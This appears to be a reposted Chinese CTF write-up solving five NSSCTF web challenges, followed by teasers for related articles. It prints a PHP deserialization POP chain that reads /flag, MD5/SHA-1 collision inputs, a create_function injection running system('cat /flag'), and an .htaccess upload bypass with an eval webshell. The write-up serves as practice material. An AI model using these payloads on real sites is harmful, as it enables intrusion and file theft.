NSSCTF中的popchains、level-up、 What is Web、 Interesting_http、 BabyUpload

2024-06-05 21:12

本文主要是介绍NSSCTF中的popchains、level-up、 What is Web、 Interesting_http、 BabyUpload,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

[NISACTF 2022]popchains 

[NISACTF 2022]level-up 

[HNCTF 2022 Week1]What is Web

[HNCTF 2022 Week1]Interesting_http 

[GXYCTF 2019]BabyUpload

今日总结:


[NISACTF 2022]popchains 

审计可以构造pop链的代码

<php
class Road_is_Long{public $page;public $string;public function __construct($file='index.php'){$this->page = $file;}public function __toString(){return $this->string->page;}public function __wakeup(){if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {echo "You can Not Enter 2022";$this->page = "index.php";}}
}class Try_Work_Hard{protected  $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}class Make_a_Change{public $effort;public function __construct(){$this->effort = array();}public function __get($key){$function = $this->effort;return $function();}
} 
?>

分析可得:

1.发现Try_Work_Hard这个类中,存在文件包含漏洞,需要触发__invoke这个魔术方法

2.去寻找将对象作为函数使用的位置,注意到Make_a_change的_get()方法将自身的effort属性作为函数使用,这里需要触发_get()这个魔术方法

3.发现Road_is_long类中tostring()方法直接调用自身string的page,可将自身的string赋值为Make_a_change类,来触发get方法,_tostring一般在echo处触发,观察发现不存在echo的触发点,但是直接将对象作为字符串拼接,或将其作为一些字符串函数的参数也会触发_tostring

4.观察到Road_is_long类中_wakeup方法将自身page作为preg_match函数的参数,若page为对象,则会触发tostring方法。自此,pop链构造完成。

<php
class Road_is_Long{public $page;public $string;
}class Try_Work_Hard{protected  $var="php://filter/convert.base64-encode/resource=/flag";
}class Make_a_Change{public $effort;
} 
$a=new Make_a_Change();
$a ->effort=new Try_Work_Hard();
$b=new Road_is_Long();
$b ->string= $a;
$c=new Road_is_Long();
$c ->page= $b;
echo urlencode(serialize($c));
?>

传参再解码可得flag 

[NISACTF 2022]level-up 

资料参考:md5强比较的几种绕过,强碰撞,shal强比较的几种绕过,强碰撞-CSDN博客

1.查看源代码,可得以下内容,看到disallow,想到robots.txt

2.访问这个文件,可得以下内容

3.访问这个php文件,进行代码审计,进行MD5绕过,这里不能使用数组绕过,但因为存在(string)强制类型转换,所有不能使用数组绕过,只能进行MD5碰撞,得到第三个文件

array1=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&array2=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2

4.访问第三个文件,发现进行了shal加密,shal加密的与md5的一样,如果是强比较,没有转为string,可以用数组例如 a[]=1&b[]=2来绕过,也可以用强碰撞,如果是强比较,转为string,只能用强碰撞

array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

 

5.进入第四层,关于parse_url可以用///绕过,这里绕过_,用[或者+绕过,得到第五层

6. 访问最后一个文件,进行代码审计,发现需要进行get传参

对传参内容的解释:

1.create_function(string a, string b)会创造一个匿名函数,传入的两个参数均为字符串

其中,字符串a中表示函数需要传入的参数,字符串b表示函数中的执行语句。

2.因为create_function自带eval命令执行,因此我们需要传入$a\create_function

而对于参数$b,我们需要让它执行system()函数,用于回显flag,因此传入$b}system('cat /flag');//

3.首先因为正则的关系,我们不能以字母和数字开头,所以我们可以用\符号开头,它不会影响函数的运行

4.我们用}开头为的就是进行闭合,这样我们可以进行我们想执行的代码,而后面的//为的是把原本的}符号给注释掉,这样我们就执行了system('cat /flag')函数

 <?php
function lambda_1() {
}system('cat /flag');
//}

[HNCTF 2022 Week1]What is Web

1.在源代码中发现base64编码

2.解码可得flag

[HNCTF 2022 Week1]Interesting_http 

1.根据题目,进行post传参,并输入相关的命令

2.发现没有什么回显

 3.发现方法错了,重新进行传参

4.根据提示输入want=flag,提示你不是用户,这里想到bp抓包

5.将not admin修改为admin,发现回显为"Not location"

 6.添加XFF头,得到flag

[GXYCTF 2019]BabyUpload

1.随便上传一个php文件,发现出现以下回显

2.上传一个jpg文件,出现以下内容

 3.根据提示,改变一句话木马的格式<%execute(request("shell"))%>,然后在以jpg的格式进行上传,发现上传成功,这里只是测试,但是此木马格式不能连接蚁剑,此步可省略

 4.上传成功,但是是jpg格式,于是想到使用.htaccess文件,上传文件,出现以下内容

5.修改类型为jpeg,发现上传成功 

 6.再上传带有木马的jpg的文件,上传成功

此文件内容为:

<script language=php>@eval($_POST[shell]);</script>

这里需要注意构造payload 

 7.使用蚁剑连接,在根目录下找到flag

今日总结:

1.知道MD5中的强碰撞和shel强比较

2.了解了create_function()函数的使用,并知道了一种绕过正则新的方式,使用这个\符号来绕过正则

3.若上传的一句话木马不能是明显的php标志可以改木马为<script language=php>@eval($_POST[shell]);</script>进行绕过

这篇关于NSSCTF中的popchains、level-up、 What is Web、 Interesting_http、 BabyUpload的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1034188

相关文章

Java Web指的是什么

Java Web指的是使用Java技术进行Web开发的一种方式。Java在Web开发领域有着广泛的应用,主要通过Java EE(Enterprise Edition)平台来实现。  主要特点和技术包括: 1. Servlets和JSP:     Servlets 是Java编写的服务器端程序,用于处理客户端请求和生成动态网页内容。     JSP(JavaServer Pages)

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

【Linux】应用层http协议

一、HTTP协议 1.1 简要介绍一下HTTP        我们在网络的应用层中可以自己定义协议,但是,已经有大佬定义了一些现成的,非常好用的应用层协议,供我们直接使用,HTTP(超文本传输协议)就是其中之一。        在互联网世界中,HTTP(超文本传输协议)是一个至关重要的协议,他定义了客户端(如浏览器)与服务器之间如何进行通信,以交换或者传输超文本(比如HTML文档)。

EasyPlayer.js网页H5 Web js播放器能力合集

最近遇到一个需求,要求做一款播放器,发现能力上跟EasyPlayer.js基本一致,满足要求: 需求 功性能 分类 需求描述 功能 预览 分屏模式 单分屏(单屏/全屏) 多分屏(2*2) 多分屏(3*3) 多分屏(4*4) 播放控制 播放(单个或全部) 暂停(暂停时展示最后一帧画面) 停止(单个或全部) 声音控制(开关/音量调节) 主辅码流切换 辅助功能 屏

如何确定 Go 语言中 HTTP 连接池的最佳参数?

确定 Go 语言中 HTTP 连接池的最佳参数可以通过以下几种方式: 一、分析应用场景和需求 并发请求量: 确定应用程序在特定时间段内可能同时发起的 HTTP 请求数量。如果并发请求量很高,需要设置较大的连接池参数以满足需求。例如,对于一个高并发的 Web 服务,可能同时有数百个请求在处理,此时需要较大的连接池大小。可以通过压力测试工具模拟高并发场景,观察系统在不同并发请求下的性能表现,从而

9.8javaweb项目总结

1.主界面用户信息显示 登录成功后,将用户信息存储在记录在 localStorage中,然后进入界面之前通过js来渲染主界面 存储用户信息 将用户信息渲染在主界面上,并且头像设置跳转,到个人资料界面 这里数据库中还没有设置相关信息 2.模糊查找 检测输入框是否有变更,有的话调用方法,进行查找 发送检测请求,然后接收的时候设置最多显示四个类似的搜索结果

JavaWeb【day09】--(Mybatis)

1. Mybatis基础操作 学习完mybatis入门后,我们继续学习mybatis基础操作。 1.1 需求 需求说明: 根据资料中提供的《tlias智能学习辅助系统》页面原型及需求,完成员工管理的需求开发。 通过分析以上的页面原型和需求,我们确定了功能列表: 查询 根据主键ID查询 条件查询 新增 更新 删除 根据主键ID删除 根据主键ID批量删除

Anaconda 中遇到CondaHTTPError: HTTP 404 NOT FOUND for url的问题及解决办法

最近在跑一个开源项目遇到了以下问题,查了很多资料都大(抄)同(来)小(抄)异(去)的,解决不了根本问题,费了很大的劲终于得以解决,记录如下: 1、问题及过程: (myenv) D:\Workspace\python\XXXXX>conda install python=3.6.13 Solving environment: done.....Proceed ([y]/n)? yDownloa

利用Django框架快速构建Web应用:从零到上线

随着互联网的发展,Web应用的需求日益增长,而Django作为一个高级的Python Web框架,以其强大的功能和灵活的架构,成为了众多开发者的选择。本文将指导你如何从零开始使用Django框架构建一个简单的Web应用,并将其部署到线上,让世界看到你的作品。 Django简介 Django是由Adrian Holovaty和Simon Willison于2005年开发的一个开源框架,旨在简

web群集--nginx配置文件location匹配符的优先级顺序详解及验证

文章目录 前言优先级顺序优先级顺序(详解)1. 精确匹配(Exact Match)2. 正则表达式匹配(Regex Match)3. 前缀匹配(Prefix Match) 匹配规则的综合应用验证优先级 前言 location的作用 在 NGINX 中,location 指令用于定义如何处理特定的请求 URI。由于网站往往需要不同的处理方式来适应各种请求,NGINX 提供了多种匹